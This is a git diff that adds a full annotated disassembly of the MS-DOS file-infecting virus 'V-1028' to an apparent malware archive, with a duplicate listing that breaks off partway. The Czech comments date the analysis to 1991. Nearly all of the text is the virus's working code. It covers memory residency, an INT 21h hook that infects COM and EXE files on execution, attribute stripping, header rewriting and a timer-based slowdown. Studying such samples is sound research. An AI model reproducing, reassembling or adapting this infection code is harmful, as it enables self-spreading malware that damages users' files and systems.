diff --git a/MSDOS/Virus.MSDOS.Unknown.v-1028.asm b/MSDOS/Virus.MSDOS.Unknown.v-1028.asm new file mode 100644 index 00000000..2c459ed5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v-1028.asm @@ -0,0 +1,496 @@ +; Ŀ +; +; Virus V - 1028 +; +; Rozbor provedl v unoru 1991 Milos Bina +; +; + +; Ŀ +; NOVY INT 1Ch +; +0000 9C PUSHF ; uschova registru +0001 1E PUSH DS +0002 51 PUSH CX +0003 50 PUSH AX +0004 33C0 XOR AX,AX ; +0006 8ED8 MOV DS,AX ; 3.byte citace hodin +0008 A06E04 MOV AL,[046E] ; (zvetsuje se o 1 kazdou hodinu) +000B 0AC0 OR AL,AL +000D 7409 JZ 0018 ; citac nulovy +000F B99C04 MOV CX,049C ; +0012 E2FE LOOP 0012 ; zpozdovaci smycka +0014 FEC8 DEC AL ; prodluzuje se kazdou hodinu +0016 75F7 JNZ 000F ; +0018 58 POP AX ; obnova registru +0019 59 POP CX +001A 1F POP DS +001B 9D POPF +001C 2EFF2EEC03 JMP Far CS:[03EC] ; skok na puvodni INT 1ch + +; skok na hostitele EXE +0021 8CC3 MOV BX,ES ; +0023 83C310 ADD BX,0010 ; +0026 2E039CF603 ADD BX,CS:[03F6+SI] ; vypocet startovni adresy +002B 2E895C4E MOV CS:[SI+4E],BX ; a ulozeni za instrukci skoku +002F 90 NOP ; +0030 2E8B9CF403 MOV BX,CS:[03F4+SI] ; +0035 2E895C4C MOV CS:[SI+4C],BX ; +0039 90 NOP +003A 8CC3 MOV BX,ES ; +003C 83C310 ADD BX,0010 ; +003F 2E039CFA03 ADD BX,CS:[03FA+SI] ; nastaveni SS:SP +0044 8ED3 MOV SS,BX ; +0046 2E8BA4F803 MOV SP,CS:[03F8+SI] ; +004B EA00000000 JMP 0000:0000 ; skok na hostitele + +; skok na hostitele COM +0050 BF0001 MOV DI,0100 ; +0053 81C60004 ADD SI,0400 ; obnova prvnich +0057 A4 MOVSB ; +0058 A5 MOVSW ; +0059 8B260600 MOV SP,[0006] ; +005D 33DB XOR BX,BX ; obnova zasobniku +005F 53 PUSH BX ; +0060 FF64F1 JMP [SI-0F] ; skok na hostitele +0063 90 NOP + +; Ŀ +; STARTOVNI BOD +; +0064 E80000 CALL 0067 ; zjisteni ofsetu viru +0067 5E POP SI ; +0068 FC CLD ; vypocet adresy zacatku +0069 83C699 ADD SI,FF99 ; viru (0000) +006C 81BC00044D5A CMP [0400+SI],5A4D ; jsem pripojen na EXE ? +0072 740E JZ 0082 ; ano +; pripojen na COM +0074 FA CLI ; +0075 8BE6 MOV SP,SI ; nastaveni zasobniku +0077 81C40405 ADD SP,0504 ; za vir +007B FB STI ; +007C 3B260600 CMP SP,[0006] ; vejde se zasobnik do volne pameti +0080 73CE JNC 0050 ; nevejde -> konec +; EXE +0082 50 PUSH AX ; uschova registru +0083 06 PUSH ES +0084 56 PUSH SI +0085 1E PUSH DS +0086 B8FE4B MOV AX,4BFE ; test, jestli uz jsem v pameti +0089 CD21 INT 21 ; volam svoji imaginarni sluzbu 4BFE +008B 81FFBB55 CMP DI,55BB ; nastaven muj priznak ? +008F 7504 JNZ 0095 ; jeste nenastaven +; uz jsem v pameti +0091 07 POP ES +0092 E9A100 JMP 0136 ; nebudu se instalovat -> konec + +; instalace viru do pameti +0095 07 POP ES ; +0096 B449 MOV AH,49 ; uvolni pamet programu +0098 CD21 INT 21 ; +009A BBFFFF MOV BX,FFFF ; +009D B448 MOV AH,48 ; cti maximalni pamet +009F CD21 INT 21 ; +00A1 83EB45 SUB BX,0045 ; pamet aspon 450h byte ? +00A4 90 NOP +00A5 7303 JNC 00AA ; o.k +00A7 E98C00 JMP 0136 ; mala pamet -> konec +00AA 8CC1 MOV CX,ES ; +00AC F9 STC ; +00AD 13CB ADC CX,BX ; zabere vsechnu pamet +00AF B44A MOV AH,4A ; +00B1 CD21 INT 21 ; +00B3 BB4400 MOV BX,0044 ; +00B6 F9 STC ; zmenseni pameti +00B7 26191E0200 SBB ES:[0002],BX ; +00BC 06 PUSH ES ; +00BD 8EC1 MOV ES,CX ; zabere si pamet +00BF B44A MOV AH,4A ; +00C1 CD21 INT 21 ; +00C3 8CC0 MOV AX,ES ; +00C5 48 DEC AX ; +00C6 8ED8 MOV DS,AX ; +00C8 C70601000800 MOV [0001],0008 ; +00CE E89002 CALL 0361 ; +00D1 8BD8 MOV BX,AX ; +00D3 8BCA MOV CX,DX ; +00D5 1F POP DS ; dalsi nastaveni +00D6 8CD8 MOV AX,DS ; parametru pro instalaci +00D8 E88602 CALL 0361 ; do pameti +00DB 03060600 ADD AX,[0006] ; +00DF 83D200 ADC DX,0000 ; +00E2 2BC3 SUB AX,BX ; +00E4 1BD1 SBB DX,CX ; +00E6 7204 JC 00EC ; +00E8 29060600 SUB [0006],AX ; +00EC 5E POP SI ; +00ED 56 PUSH SI ; +00EE 1E PUSH DS +00EF 0E PUSH CS +00F0 33FF XOR DI,DI ; +00F2 8EDF MOV DS,DI ; uschova stare adresy +00F4 C5068400 LDS AX,[0084] ; interruptu 21h +00F8 2E8984F003 MOV CS:[03F0+SI],AX ; +00FD 2E8C9CF203 MOV CS:[03F2+SI],DS ; + +0102 E86202 CALL 0367 ; ??????? + +0105 33FF XOR DI,DI ; +0107 8EDF MOV DS,DI ; ushova stare adresy +0109 C5067000 LDS AX,[0070] ; interruptu 1ch +010D 2E8984EC03 MOV CS:[03EC+SI],AX ; +0112 2E8C9CEE03 MOV CS:[03EE+SI],DS ; +0117 1F POP DS ; +0118 B90302 MOV CX,0203 ; presun vira do zabrane pameti +011B F3A5 REP MOVSW ; +011D 33C0 XOR AX,AX ; +011F 8ED8 MOV DS,AX ; +0121 C70670000000 MOV [0070],0000 ; nastaveni novych +0127 8C067200 MOV [0072],ES ; INT 21h a INT 1Ch +012B C70684004801 MOV [0084],0148 ; +0131 8C068600 MOV [0086],ES ; +0135 07 POP ES ; obnova registru +0136 5E POP SI +0137 1F POP DS +0138 58 POP AX +0139 2E81BC00044D5A CMP CS:[0400+SI],5A4D +0140 7403 JZ 0145 +0142 E90BFF JMP 0050 ; hostitel COM -> konec +0145 E9D9FE JMP 0021 ; hostitel EXE -> konec + +; Ŀ +; NOVY INT 21h +; +0148 80FC4B CMP AH,4B +014B 7409 JZ 0156 ; sluzba spust program +014D 2EFF2EF003 JMP Far CS:[03F0] ; skok na puvodni int 21h +0152 BFBB55 MOV DI,55BB ; nastaveni priznaku, ze + ; uz jsem v pameti +0155 CF IRET +0156 3CFE CMP AL,FE +0158 74F8 JZ 0152 ; volana moje sluzba dotazu +015A 0AC0 OR AL,AL +015C 75EF JNZ 014D ; volana sluzba zaved overlay + ; -> konec +015E 9C PUSHF ; uschova registru +015F 50 PUSH AX +0160 53 PUSH BX +0161 51 PUSH CX +0162 52 PUSH DX +0163 56 PUSH SI +0164 57 PUSH DI +0165 55 PUSH BP +0166 06 PUSH ES +0167 1E PUSH DS +0168 8CDE MOV SI,DS +016A 33C0 XOR AX,AX ; +016C 8ED8 MOV DS,AX ; cteni adresy INT 24h +016E C4069000 LES AX,[0090] ; +0172 06 PUSH ES ; uschova adresy +0173 50 PUSH AX +0174 C70690005E03 MOV [0090],035E ; nastaveni noveho INT 24h +017A 8C0E9200 MOV [0092],CS ; +017E 8EDE MOV DS,SI ; +0180 33C9 XOR CX,CX ; cti attributy souboru +0182 B80043 MOV AX,4300 ; +0185 E85D02 CALL 03E5 ; +0188 8BD9 MOV BX,CX ; +018A 80E1F8 AND CL,F8 ; test attributu +018D 3ACB CMP CL,BL ; +018F 7407 JZ 0198 ; neni R/O, Hodden ani System +0191 B80143 MOV AX,4301 ; nastavi atribut R/W +0194 E84E02 CALL 03E5 ; +0197 F9 STC +0198 9C PUSHF ; uschova reg. +0199 1E PUSH DS +019A 52 PUSH DX +019B 53 PUSH BX +019C B8023D MOV AX,3D02 ; otevre soubor pro cteni +019F E84302 CALL 03E5 ; +01A2 720A JC 01AE ; chyba -> konec +01A4 8BD8 MOV BX,AX ; bx:=identifikator + +01A6 E82A00 CALL 01D3 ; nakaza + +01A9 B43E MOV AH,3E ; uzavri soubor +01AB E83702 CALL 03E5 ; +01AE 59 POP CX ; obnova registru +01AF 5A POP DX +01B0 1F POP DS +01B1 9D POPF +01B2 7306 JNC 01BA ; neni chyba close +01B4 B80143 MOV AX,4301 ; obnova atributu +01B7 E82B02 CALL 03E5 ; +01BA 33C0 XOR AX,AX ; +01BC 8ED8 MOV DS,AX ; obnova INT 24h +01BE 8F069000 POP [0090] ; +01C2 8F069200 POP [0092] ; +01C6 1F POP DS ; obnova registru +01C7 07 POP ES +01C8 5D POP BP +01C9 5F POP DI +01CA 5E POP SI +01CB 5A POP DX +01CC 59 POP CX +01CD 5B POP BX +01CE 58 POP AX +01CF 9D POPF +01D0 E97AFF JMP 014D +; +; vstup: bx = identifikator souboru +; vystup: nakazeny soubor +01D3 0E PUSH CS ; +01D4 0E PUSH CS ; es:=cs +01D5 1F POP DS ; ds:=cs +01D6 07 POP ES ; +01D7 BA0404 MOV DX,0404 ; +01DA B91800 MOV CX,0018 ; cte prvnich 18h byte +01DD B43F MOV AH,3F ; souboru na (cs:404h) +01DF E80302 CALL 03E5 ; +01E2 33C9 XOR CX,CX ; +01E4 33D2 XOR DX,DX ; nastavi ukazatel v souboru +01E6 B80242 MOV AX,4202 ; na jeho konec +01E9 E8F901 CALL 03E5 ; +01EC 89161E04 MOV [041E],DX ; uschova hor. slova delky +01F0 3D0404 CMP AX,0404 ; test delky +01F3 83DA00 SBB DX,0000 ; +01F6 7258 JC 0250 ; soubor < 404h +01F8 A31C04 MOV [041C],AX ; uschova delky suboru +01FB A32004 MOV [0420],AX ; +; budou testy, je-li soubor uz nakazen +01FE 813E04044D5A CMP [0404],5A4D +0204 7517 JNZ 021D ; pripojuje se na COM +; EXE +0206 A10C04 MOV AX,[040C] ; +0209 03061A04 ADD AX,[041A] ; +020D E85101 CALL 0361 ; dx:cx:=ukazatel do souboru +0210 03061804 ADD AX,[0418] ; na jeho start +0214 83D200 ADC DX,0000 ; +0217 8BCA MOV CX,DX ; +0219 8BD0 MOV DX,AX ; +021B EB15 JMP 0232 +; COM +021D 803E0404E9 CMP [0404],E9 ; prvni instr. JMP Near +0222 752D JNZ 0251 ; ne => nenakazeno +0224 8B160504 MOV DX,[0405] ; dx:cx=^start +0228 81C20301 ADD DX,0103 ; +022C 7223 JC 0251 ; chybna start. adr => nenakazeno +022E FECE DEC DH +0230 33C9 XOR CX,CX +0232 83EA64 SUB DX,0064 ; +0235 83D900 SBB CX,0000 ; nastaveni ukazatele v souboru +0238 B80042 MOV AX,4200 ; na zacatek teoretickeho vira +023B E8A701 CALL 03E5 ; +023E 050404 ADD AX,0404 ; +0241 83D200 ADC DX,0000 ; +0244 3B061C04 CMP AX,[041C] ; test, je-li startovni adresa +0248 7507 JNZ 0251 ; 404h-64h byte od konce +024A 3B161E04 CMP DX,[041E] ; souboru +024E 7501 JNZ 0251 ; neni => nenakazeno +0250 C3 RET ; je => nakazeno -> konec +; soubor jeste nenakazen, ja ho nakazim + +0251 33C9 XOR CX,CX ; +0253 8BD1 MOV DX,CX ; nastaveni ukazatele +0255 B80242 MOV AX,4202 ; v souboru na konec +0258 E88A01 CALL 03E5 ; +025B 813E04044D5A CMP [0404],5A4D +0261 7409 JZ 026C ; EXE +; COM +0263 050406 ADD AX,0604 ; +0266 83D200 ADC DX,0000 ; soubor+vir < 64KB ? +0269 7419 JZ 0284 ; +026B C3 RET ; prelezl by -> konec +; EXE +026C 8B161C04 MOV DX,[041C] ; +0270 F6DA NEG DL ; posun ukazatele za soubor +0272 83E20F AND DX,000F ; tak, aby jeho nova delka +0275 33C9 XOR CX,CX ; byla nasobkem 10h +0277 B80142 MOV AX,4201 ; +027A E86801 CALL 03E5 ; +027D A31C04 MOV [041C],AX ; uschova nove zaokrouhlene +0280 89161E04 MOV [041E],DX ; delky +0284 B80057 MOV AX,5700 ; cti datum a cas vytvoreni souboru +0287 E85B01 CALL 03E5 ; +028A 9C PUSHF ; +028B 51 PUSH CX ; uschova casu +028C 52 PUSH DX ; uschova data +028D 813E04044D5A CMP [0404],5A4D +0293 7405 JZ 029A +; COM +0295 B80001 MOV AX,0100 ; startovni adresa COM +0298 EB07 JMP 02A1 +; EXE +029A A11804 MOV AX,[0418] ; EXEIP +029D 8B161A04 MOV DX,[041A] ; ReloCS +; spolecne +02A1 BFF403 MOV DI,03F4 ; +02A4 AB STOSW ; uschova start. adr +02A5 8BC2 MOV AX,DX ; +02A7 AB STOSW ; +02A8 A11404 MOV AX,[0414] ; +02AB AB STOSW ; uschova zasobniku +02AC A11204 MOV AX,[0412] ; (smysl jen u EXE) +02AF AB STOSW ; +02B0 A12004 MOV AX,[0420] ; dolni slovo delky pgmu +02B3 AB STOSW ; +02B4 A10804 MOV AX,[0408] ; PageCnt +02B7 AB STOSW ; (smysl jen u EXE) +02B8 BE0404 MOV SI,0404 ; +02BB A5 MOVSW ; uschova prvnich 4 byte +02BC A5 MOVSW ; souboru +02BD 33D2 XOR DX,DX ; +02BF B90404 MOV CX,0404 ; pripojeni vira k souboru +02C2 B440 MOV AH,40 ; (404h byte) +02C4 E81E01 CALL 03E5 ; +02C7 7227 JC 02F0 ; chyba -> konec +02C9 33C8 XOR CX,AX +02CB 7523 JNZ 02F0 ; nezapsan prislusny pocet byte +02CD 8BD1 MOV DX,CX ; +02CF B80042 MOV AX,4200 ; nastaveni ukazatele na +02D2 E81001 CALL 03E5 ; zacatek souboru +02D5 813E04044D5A CMP [0404],5A4D +02DB 7415 JZ 02F2 +; COM +02DD C6060404E9 MOV [0404],E9 ; +02E2 A11C04 MOV AX,[041C] ; nove prvni 3 byty +02E5 056100 ADD AX,0061 ; viru (novy start) +02E8 A30504 MOV [0405],AX ; +02EB B90300 MOV CX,0003 ; pocet byte k nahrani +02EE EB5A JMP 034A + +02F0 EB60 JMP 0352 ; konec +; EXE +02F2 A10C04 MOV AX,[040C] ; +02F5 E86900 CALL 0361 ; +02F8 F7D0 NOT AX ; +02FA F7D2 NOT DX ; +02FC 40 INC AX ; vypocet nove +02FD 7501 JNZ 0300 ; startovni adresy +02FF 42 INC DX ; pro EXE soubor +0300 03061C04 ADD AX,[041C] ; +0304 13161E04 ADC DX,[041E] ; +0308 B91000 MOV CX,0010 ; +030B F7F1 DIV CX ; +030D C70618046400 MOV [0418],0064 ; +0313 A31A04 MOV [041A],AX ; +0316 054100 ADD AX,0041 ; +0319 A31204 MOV [0412],AX ; novy zasobnik +031C C70614040001 MOV [0414],0100 ; +0322 81061C040404 ADD [041C],0404 ; +0328 83161E0400 ADC [041E],0000 ; +032D A11C04 MOV AX,[041C] ; +0330 25FF01 AND AX,01FF ; +0333 A30604 MOV [0406],AX ; +0336 9C PUSHF ; vypocet nove delky +0337 A11D04 MOV AX,[041D] ; souboru do hlavicky +033A D02E1F04 SHR B/[041F],1 ; EXE +033E D1D8 RCR AX,1 ; +0340 9D POPF ; +0341 7401 JZ 0344 ; +0343 40 INC AX ; +0344 A30804 MOV [0408],AX ; +0347 B91800 MOV CX,0018 ; pocet byte k nahrani +034A BA0404 MOV DX,0404 ; nahraje novy zacatek souboru +034D B440 MOV AH,40 ; COM: prvni 3 byty +034F E89300 CALL 03E5 ; EXE: prvnich 18h byte +0352 5A POP DX ; dx:=datum +0353 59 POP CX ; cx:=cas +0354 9D POPF +0355 7206 JC 035D ; chyba +0357 B80157 MOV AX,5701 ; obnova data a casu +035A E88800 CALL 03E5 ; vytvoreni souboru +035D C3 RET + +; Ŀ +; NOVY INT 24h +; +; instalovan docasne, pouze v dobe nakazy +035E B003 MOV AL,03 +0360 CF IRET +; +; vstup: ax +; vystup: dx:ax:=ax*10h +0361 BA1000 MOV DX,0010 +0364 F7E2 MUL DX +0366 C3 RET +; +0367 9C PUSHF +0368 50 PUSH AX +0369 1E PUSH DS +036A 06 PUSH ES +036B 33C0 XOR AX,AX +036D 8ED8 MOV DS,AX ; ds:=0; +036F C406A000 LES AX,[00A0] ; es:ax:=^INT 28h +0373 E84C00 CALL 03C2 +0376 7436 JZ 03AE +0378 C4068000 LES AX,[0080] ; es:ax:=^INT 20h +037C E84300 CALL 03C2 +037F 742D JZ 03AE +0381 C4069C00 LES AX,[009C] ; es:ax:=^INT 27h +0385 E83A00 CALL 03C2 +0388 7424 JZ 03AE +038A C4069800 LES AX,[0098] ; es:ax:=^INT 26h +038E E83100 CALL 03C2 +0391 741B JZ 03AE +0393 C4062400 LES AX,[0024] ; es:ax:=^INT 9h +0397 E82800 CALL 03C2 +039A 7412 JZ 03AE +039C C4064C00 LES AX,[004C] ; es:ax:=^INT 13h +03A0 E81F00 CALL 03C2 +03A3 7409 JZ 03AE +03A5 C4068400 LES AX,[0084] ; es:ax:=^INT 21h +03A9 E81600 CALL 03C2 +03AC 750F JNZ 03BD +03AE 26C4062312 LES AX,ES:[1223] +03B3 2E8984F003 MOV CS:[03F0+SI],AX +03B8 2E8C84F203 MOV CS:[03F2+SI],ES +03BD 07 POP ES +03BE 1F POP DS +03BF 58 POP AX +03C0 9D POPF +03C1 C3 RET +; +03C2 26813E601C3D0F CMP ES:[1C60],0F3D ; CMP AX, 0Fxx +03C9 7519 JNZ 03E4 +03CB 26813E641C05B8 CMP ES:[1C64],B805 ; ADD AX, B8xx +03D2 7510 JNZ 03E4 +03D4 26813E681C9DCF CMP ES:[1C68],CF9D ; POPF, IRET +03DB 7507 JNZ 03E4 +03DD 26813E6C1C3E28 CMP ES:[1C6C],283E ; SUB DS: +03E4 C3 RET +; volani puvodniho int 21h +03E5 9C PUSHF +03E6 2EFF1EF003 CALL Far CS:[03F0] +03EB C3 RET + +03EC 53FF00F0 DD ? ; adresa puvodniho int 1ch +03F0 75032F14 DD ? ; adr. puv. int 21h +03F4 0001 DW ? ; EXEIP +03F6 F80E DW ? ; ReloCS +03F8 0074 DW ? ; EXESP +03FA 3D02 DW ? ; ReloSS +03FC BC62 DW ? ; dolni slovo delky puv. pgmu +03FE DA0A DW ? ; PageCnt +0400 E92D0DBA DB ?,?,?,? ; puvodni ctyri byty + +; toto jiz neni soucasti vira +; pripojeneho k souboru. +; Tato tabulka vznika pri behu +; hlavicka EXE +0404 DW ? ; sign +0406 DW ? ; PartPag +0408 DW ? ; PageCnt +040A DW ? ; ReloCnt +040C DW ? ; HdrSize +040E DW ? ; MinMem +0410 DW ? ; MaxMem +0412 DW ? ; ReloSS +0414 DW ? ; EXESP +0416 DW ? ; ChkSum +0418 DW ? ; EXEIP +041A DW ? ; ReloCS + +041C DW ? ; dolni slovo delky pgmu zaokrouhleno +041E DW ? ; horni slovo delky pgmu +0420 DW ? ; dolni slovo delky diff --git a/MSDOS/Virus.MSDOS.Unknown.v-1028.lst b/MSDOS/Virus.MSDOS.Unknown.v-1028.lst new file mode 100644 index 00000000..2c459ed5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v-1028.lst @@ -0,0 +1,496 @@ +; Ŀ +; +; Virus V - 1028 +; +; Rozbor provedl v unoru 1991 Milos Bina +; +; + +; Ŀ +; NOVY INT 1Ch +; +0000 9C PUSHF ; uschova registru +0001 1E PUSH DS +0002 51 PUSH CX +0003 50 PUSH AX +0004 33C0 XOR AX,AX ; +0006 8ED8 MOV DS,AX ; 3.byte citace hodin +0008 A06E04 MOV AL,[046E] ; (zvetsuje se o 1 kazdou hodinu) +000B 0AC0 OR AL,AL +000D 7409 JZ 0018 ; citac nulovy +000F B99C04 MOV CX,049C ; +0012 E2FE LOOP 0012 ; zpozdovaci smycka +0014 FEC8 DEC AL ; prodluzuje se kazdou hodinu +0016 75F7 JNZ 000F ; +0018 58 POP AX ; obnova registru +0019 59 POP CX +001A 1F POP DS +001B 9D POPF +001C 2EFF2EEC03 JMP Far CS:[03EC] ; skok na puvodni INT 1ch + +; skok na hostitele EXE +0021 8CC3 MOV BX,ES ; +0023 83C310 ADD BX,0010 ; +0026 2E039CF603 ADD BX,CS:[03F6+SI] ; vypocet startovni adresy +002B 2E895C4E MOV CS:[SI+4E],BX ; a ulozeni za instrukci skoku +002F 90 NOP ; +0030 2E8B9CF403 MOV BX,CS:[03F4+SI] ; +0035 2E895C4C MOV CS:[SI+4C],BX ; +0039 90 NOP +003A 8CC3 MOV BX,ES ; +003C 83C310 ADD BX,0010 ; +003F 2E039CFA03 ADD BX,CS:[03FA+SI] ; nastaveni SS:SP +0044 8ED3 MOV SS,BX ; +0046 2E8BA4F803 MOV SP,CS:[03F8+SI] ; +004B EA00000000 JMP 0000:0000 ; skok na hostitele + +; skok na hostitele COM +0050 BF0001 MOV DI,0100 ; +0053 81C60004 ADD SI,0400 ; obnova prvnich +0057 A4 MOVSB ; +0058 A5 MOVSW ; +0059 8B260600 MOV SP,[0006] ; +005D 33DB XOR BX,BX ; obnova zasobniku +005F 53 PUSH BX ; +0060 FF64F1 JMP [SI-0F] ; skok na hostitele +0063 90 NOP + +; Ŀ +; STARTOVNI BOD +; +0064 E80000 CALL 0067 ; zjisteni ofsetu viru +0067 5E POP SI ; +0068 FC CLD ; vypocet adresy zacatku +0069 83C699 ADD SI,FF99 ; viru (0000) +006C 81BC00044D5A CMP [0400+SI],5A4D ; jsem pripojen na EXE ? +0072 740E JZ 0082 ; ano +; pripojen na COM +0074 FA CLI ; +0075 8BE6 MOV SP,SI ; nastaveni zasobniku +0077 81C40405 ADD SP,0504 ; za vir +007B FB STI ; +007C 3B260600 CMP SP,[0006] ; vejde se zasobnik do volne pameti +0080 73CE JNC 0050 ; nevejde -> konec +; EXE +0082 50 PUSH AX ; uschova registru +0083 06 PUSH ES +0084 56 PUSH SI +0085 1E PUSH DS +0086 B8FE4B MOV AX,4BFE ; test, jestli uz jsem v pameti +0089 CD21 INT 21 ; volam svoji imaginarni sluzbu 4BFE +008B 81FFBB55 CMP DI,55BB ; nastaven muj priznak ? +008F 7504 JNZ 0095 ; jeste nenastaven +; uz jsem v pameti +0091 07 POP ES +0092 E9A100 JMP 0136 ; nebudu se instalovat -> konec + +; instalace viru do pameti +0095 07 POP ES ; +0096 B449 MOV AH,49 ; uvolni pamet programu +0098 CD21 INT 21 ; +009A BBFFFF MOV BX,FFFF ; +009D B448 MOV AH,48 ; cti maximalni pamet +009F CD21 INT 21 ; +00A1 83EB45 SUB BX,0045 ; pamet aspon 450h byte ? +00A4 90 NOP +00A5 7303 JNC 00AA ; o.k +00A7 E98C00 JMP 0136 ; mala pamet -> konec +00AA 8CC1 MOV CX,ES ; +00AC F9 STC ; +00AD 13CB ADC CX,BX ; zabere vsechnu pamet +00AF B44A MOV AH,4A ; +00B1 CD21 INT 21 ; +00B3 BB4400 MOV BX,0044 ; +00B6 F9 STC ; zmenseni pameti +00B7 26191E0200 SBB ES:[0002],BX ; +00BC 06 PUSH ES ; +00BD 8EC1 MOV ES,CX ; zabere si pamet +00BF B44A MOV AH,4A ; +00C1 CD21 INT 21 ; +00C3 8CC0 MOV AX,ES ; +00C5 48 DEC AX ; +00C6 8ED8 MOV DS,AX ; +00C8 C70601000800 MOV [0001],0008 ; +00CE E89002 CALL 0361 ; +00D1 8BD8 MOV BX,AX ; +00D3 8BCA MOV CX,DX ; +00D5 1F POP DS ; dalsi nastaveni +00D6 8CD8 MOV AX,DS ; parametru pro instalaci +00D8 E88602 CALL 0361 ; do pameti +00DB 03060600 ADD AX,[0006] ; +00DF 83D200 ADC DX,0000 ; +00E2 2BC3 SUB AX,BX ; +00E4 1BD1 SBB DX,CX ; +00E6 7204 JC 00EC ; +00E8 29060600 SUB [0006],AX ; +00EC 5E POP SI ; +00ED 56 PUSH SI ; +00EE 1E PUSH DS +00EF 0E PUSH CS +00F0 33FF XOR DI,DI ; +00F2 8EDF MOV DS,DI ; uschova stare adresy +00F4 C5068400 LDS AX,[0084] ; interruptu 21h +00F8 2E8984F003 MOV CS:[03F0+SI],AX ; +00FD 2E8C9CF203 MOV CS:[03F2+SI],DS ; + +0102 E86202 CALL 0367 ; ??????? + +0105 33FF XOR DI,DI ; +0107 8EDF MOV DS,DI ; ushova stare adresy +0109 C5067000 LDS AX,[0070] ; interruptu 1ch +010D 2E8984EC03 MOV CS:[03EC+SI],AX ; +0112 2E8C9CEE03 MOV CS:[03EE+SI],DS ; +0117 1F POP DS ; +0118 B90302 MOV CX,0203 ; presun vira do zabrane pameti +011B F3A5 REP MOVSW ; +011D 33C0 XOR AX,AX ; +011F 8ED8 MOV DS,AX ; +0121 C70670000000 MOV [0070],0000 ; nastaveni novych +0127 8C067200 MOV [0072],ES ; INT 21h a INT 1Ch +012B C70684004801 MOV [0084],0148 ; +0131 8C068600 MOV [0086],ES ; +0135 07 POP ES ; obnova registru +0136 5E POP SI +0137 1F POP DS +0138 58 POP AX +0139 2E81BC00044D5A CMP CS:[0400+SI],5A4D +0140 7403 JZ 0145 +0142 E90BFF JMP 0050 ; hostitel COM -> konec +0145 E9D9FE JMP 0021 ; hostitel EXE -> konec + +; Ŀ +; NOVY INT 21h +; +0148 80FC4B CMP AH,4B +014B 7409 JZ 0156 ; sluzba spust program +014D 2EFF2EF003 JMP Far CS:[03F0] ; skok na puvodni int 21h +0152 BFBB55 MOV DI,55BB ; nastaveni priznaku, ze + ; uz jsem v pameti +0155 CF IRET +0156 3CFE CMP AL,FE +0158 74F8 JZ 0152 ; volana moje sluzba dotazu +015A 0AC0 OR AL,AL +015C 75EF JNZ 014D ; volana sluzba zaved overlay + ; -> konec +015E 9C PUSHF ; uschova registru +015F 50 PUSH AX +0160 53 PUSH BX +0161 51 PUSH CX +0162 52 PUSH DX +0163 56 PUSH SI +0164 57 PUSH DI +0165 55 PUSH BP +0166 06 PUSH ES +0167 1E PUSH DS +0168 8CDE MOV SI,DS +016A 33C0 XOR AX,AX ; +016C 8ED8 MOV DS,AX ; cteni adresy INT 24h +016E C4069000 LES AX,[0090] ; +0172 06 PUSH ES ; uschova adresy +0173 50 PUSH AX +0174 C70690005E03 MOV [0090],035E ; nastaveni noveho INT 24h +017A 8C0E9200 MOV [0092],CS ; +017E 8EDE MOV DS,SI ; +0180 33C9 XOR CX,CX ; cti attributy souboru +0182 B80043 MOV AX,4300 ; +0185 E85D02 CALL 03E5 ; +0188 8BD9 MOV BX,CX ; +018A 80E1F8 AND CL,F8 ; test attributu +018D 3ACB CMP CL,BL ; +018F 7407 JZ 0198 ; neni R/O, Hodden ani System +0191 B80143 MOV AX,4301 ; nastavi atribut R/W +0194 E84E02 CALL 03E5 ; +0197 F9 STC +0198 9C PUSHF ; uschova reg. +0199 1E PUSH DS +019A 52 PUSH DX +019B 53 PUSH BX +019C B8023D MOV AX,3D02 ; otevre soubor pro cteni +019F E84302 CALL 03E5 ; +01A2 720A JC 01AE ; chyba -> konec +01A4 8BD8 MOV BX,AX ; bx:=identifikator + +01A6 E82A00 CALL 01D3 ; nakaza + +01A9 B43E MOV AH,3E ; uzavri soubor +01AB E83702 CALL 03E5 ; +01AE 59 POP CX ; obnova registru +01AF 5A POP DX +01B0 1F POP DS +01B1 9D POPF +01B2 7306 JNC 01BA ; neni chyba close +01B4 B80143 MOV AX,4301 ; obnova atributu +01B7 E82B02 CALL 03E5 ; +01BA 33C0 XOR AX,AX ; +01BC 8ED8 MOV DS,AX ; obnova INT 24h +01BE 8F069000 POP [0090] ; +01C2 8F069200 POP [0092] ; +01C6 1F POP DS ; obnova registru +01C7 07 POP ES +01C8 5D POP BP +01C9 5F POP DI +01CA 5E POP SI +01CB 5A POP DX +01CC 59 POP CX +01CD 5B POP BX +01CE 58 POP AX +01CF 9D POPF +01D0 E97AFF JMP 014D +; +; vstup: bx = identifikator souboru +; vystup: nakazeny soubor +01D3 0E PUSH CS ; +01D4 0E PUSH CS ; es:=cs +01D5 1F POP DS ; ds:=cs +01D6 07 POP ES ; +01D7 BA0404 MOV DX,0404 ; +01DA B91800 MOV CX,0018 ; cte prvnich 18h byte +01DD B43F MOV AH,3F ; souboru na (cs:404h) +01DF E80302 CALL 03E5 ; +01E2 33C9 XOR CX,CX ; +01E4 33D2 XOR DX,DX ; nastavi ukazatel v souboru +01E6 B80242 MOV AX,4202 ; na jeho konec +01E9 E8F901 CALL 03E5 ; +01EC 89161E04 MOV [041E],DX ; uschova hor. slova delky +01F0 3D0404 CMP AX,0404 ; test delky +01F3 83DA00 SBB DX,0000 ; +01F6 7258 JC 0250 ; soubor < 404h +01F8 A31C04 MOV [041C],AX ; uschova delky suboru +01FB A32004 MOV [0420],AX ; +; budou testy, je-li soubor uz nakazen +01FE 813E04044D5A CMP [0404],5A4D +0204 7517 JNZ 021D ; pripojuje se na COM +; EXE +0206 A10C04 MOV AX,[040C] ; +0209 03061A04 ADD AX,[041A] ; +020D E85101 CALL 0361 ; dx:cx:=ukazatel do souboru +0210 03061804 ADD AX,[0418] ; na jeho start +0214 83D200 ADC DX,0000 ; +0217 8BCA MOV CX,DX ; +0219 8BD0 MOV DX,AX ; +021B EB15 JMP 0232 +; COM +021D 803E0404E9 CMP [0404],E9 ; prvni instr. JMP Near +0222 752D JNZ 0251 ; ne => nenakazeno +0224 8B160504 MOV DX,[0405] ; dx:cx=^start +0228 81C20301 ADD DX,0103 ; +022C 7223 JC 0251 ; chybna start. adr => nenakazeno +022E FECE DEC DH +0230 33C9 XOR CX,CX +0232 83EA64 SUB DX,0064 ; +0235 83D900 SBB CX,0000 ; nastaveni ukazatele v souboru +0238 B80042 MOV AX,4200 ; na zacatek teoretickeho vira +023B E8A701 CALL 03E5 ; +023E 050404 ADD AX,0404 ; +0241 83D200 ADC DX,0000 ; +0244 3B061C04 CMP AX,[041C] ; test, je-li startovni adresa +0248 7507 JNZ 0251 